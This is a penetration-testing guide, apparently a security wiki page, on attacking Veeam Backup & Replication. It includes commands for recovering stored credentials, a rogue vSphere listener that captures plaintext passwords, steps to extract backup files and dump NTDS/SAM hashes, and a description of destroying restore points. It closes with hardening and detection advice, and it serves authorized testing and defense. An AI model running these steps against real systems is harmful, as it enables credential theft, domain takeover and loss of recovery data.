Pentesting Veeam Backup & Replication

Veeam backup infrastructure is a high-value trust bridge: the management plane stores credentials for protected systems, controls jobs and repositories, and may contain complete disk images of privileged hosts. A domain-joined backup server also inherits normal Windows attack paths, so an NTLM relay, reused local administrator password, insecure HTTP WSUS channel, or host vulnerability can become access to both production credentials and recovery data.^[3]

Use the dedicated pages for the generic primitives instead of treating them as Veeam-specific flaws:

Stored credential compromise

Recover credentials on the backup server

On Windows, Veeam protects passwords and other sensitive configuration-database values with DPAPI. This prevents decrypting a copied database on an unrelated machine, but it does not protect the secrets after local Administrator/SYSTEM compromise because Veeam must decrypt them on the backup server.^[3][4]

With administrative SMB access, NetExec’s veeam module checks the Veeam registry configuration, supports the local Microsoft SQL Server and PostgreSQL layouts used by Veeam v11/v12, and executes the corresponding credential-recovery script remotely.^[5]

nxc smb <veeam-host> -u <local-admin> -p '<password>' -M veeam

Treat every recovered account as a separate trust path. Backup credentials should not be Domain Admins; otherwise backup-host compromise immediately becomes domain compromise.^[3]

Capture a selected secret with a rogue vSphere endpoint

Administrative console access is enough to make Veeam use a stored credential against an attacker-controlled endpoint. The original veeampot.py emulates vSphere for this purpose; VeeamThief updates the workflow for Veeam v12+ by implementing the expected RetrieveInternalContent responses.^[1][2][3]

Start the listener:

sudo python3 VeeamThief.py -p 8443

Then, in an authorized test environment:

In Backup Infrastructure, start Add Server -> VMware vSphere.
Set the server to <attacker-ip>:8443 and continue through the test certificate prompt.
Select the target entry from Veeam Credential Manager.
Veeam performs the SOAP authentication flow and the listener prints the username and plaintext password.

This abuses intended secret use rather than breaking DPAPI: the management plane retrieves the selected password and voluntarily sends it to the newly registered endpoint.^[1][2]

Create a deliberately unencrypted backup

Strong encryption on existing restore points does not help if the attacker controls job creation. A console administrator can select a stored privileged credential, create a new job for a sensitive machine such as a Domain Controller, disable encryption for that job, run it, and copy the newly generated backup for offline analysis.^[3]

Exposed backup files

Offline VBK extraction

Test anonymous, guest, and low-privilege access to repository shares and search downloaded data for Veeam full backups (.vbk), metadata (.vbm), incrementals, and exported disk images. Veeam’s Extract Utility runs independently of a Veeam server on Windows or Linux; encrypted backup files require the backup password, while an exposed unencrypted VBK can be restored directly.^[3][6]

find /mnt/backups -type f \
  \( -iname '*.vbk' -o -iname '*.vbm' -o -iname '*.vib' \
     -o -iname '*.vhd' -o -iname '*.vhdx' -o -iname '*.vmdk' \)

# Unencrypted VBK
extract.exe "Z:\Backups\DC01\DC01.vbk"

# Encrypted VBK when its recovery password is known
extract.exe -password '<backup-password>' "Z:\Backups\DC01\DC01.vbk"

After restoration, a Domain Controller image may expose Windows\NTDS\ntds.dit plus the SYSTEM hive; a member-server image may expose SAM and SYSTEM. Process copies offline rather than touching the live endpoint.^[3]

impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

Automate VHD/VHDX/VMDK triage with VHDVomit

VHDVomit searches an SMB target or local path for disk images, mounts them through qemu-nbd, and collects Windows credential artifacts. Its remote mode currently supports password authentication rather than pass-the-hash.^[3][7]

sudo apt install -y cifs-utils qemu-utils ntfs-3g
pipx install impacket

sudo python3 vhdvomit.py -t <smb-host>                         # null auth
sudo python3 vhdvomit.py -t <smb-host> -u <user> -p '<pass>' -d <domain>
sudo python3 vhdvomit.py --local-path /mnt/backups/
sudo python3 vhdvomit.py --local-path /mnt/backups/DC01.vhdx

For the equivalent manual Hyper-V image workflow, see Hyper-V Administrators.

Recovery destruction

Console or write access to a mutable repository can be used to disable jobs and delete, alter, or encrypt recovery points after secrets have been extracted. This combines production compromise with removal of clean restore paths; confirm immutability using a non-destructive, explicitly authorized validation rather than altering real recovery data during a test.^[3]

High-signal review and hardening

Veeam recommends placing backup components in a separate workgroup or a management domain in another AD forest, using a separate network and a hardened repository, and enabling console MFA. Validate the boundary rather than relying on the architecture diagram: look for foreign group membership, shared administrator passwords, unrestricted workstation-to-console/SQL/SMB paths, and production-domain accounts with backup roles.^[8]

Technical checks derived from the attack paths above include:^[3][8]

Require encryption for every job and keep recovery passwords outside the backup server; alert when a job is created with encryption disabled or its encryption setting changes.
Alert on new vSphere/ESXi endpoints, especially literal IP addresses or unusual port 8443, and on use of highly privileged Credential Manager entries by new jobs.
Restrict repository ACLs and firewall paths, then monitor anonymous/guest access, unusually large .vbk/.vhdx reads, mass rename/delete operations, and deletion of restore points.
Restrict and audit access to the Veeam configuration database and Remote Registry; unexpected PowerShell launched through remote administration on the backup server is relevant to credential extraction.
Use dedicated least-privilege backup accounts, MFA for interactive console users, LAPS for local administrators, HTTPS for WSUS, and SMB/LDAP signing and channel binding where applicable.
Keep at least one recovery copy immutable against compromised backup administrators and test that the immutability window survives management-plane compromise.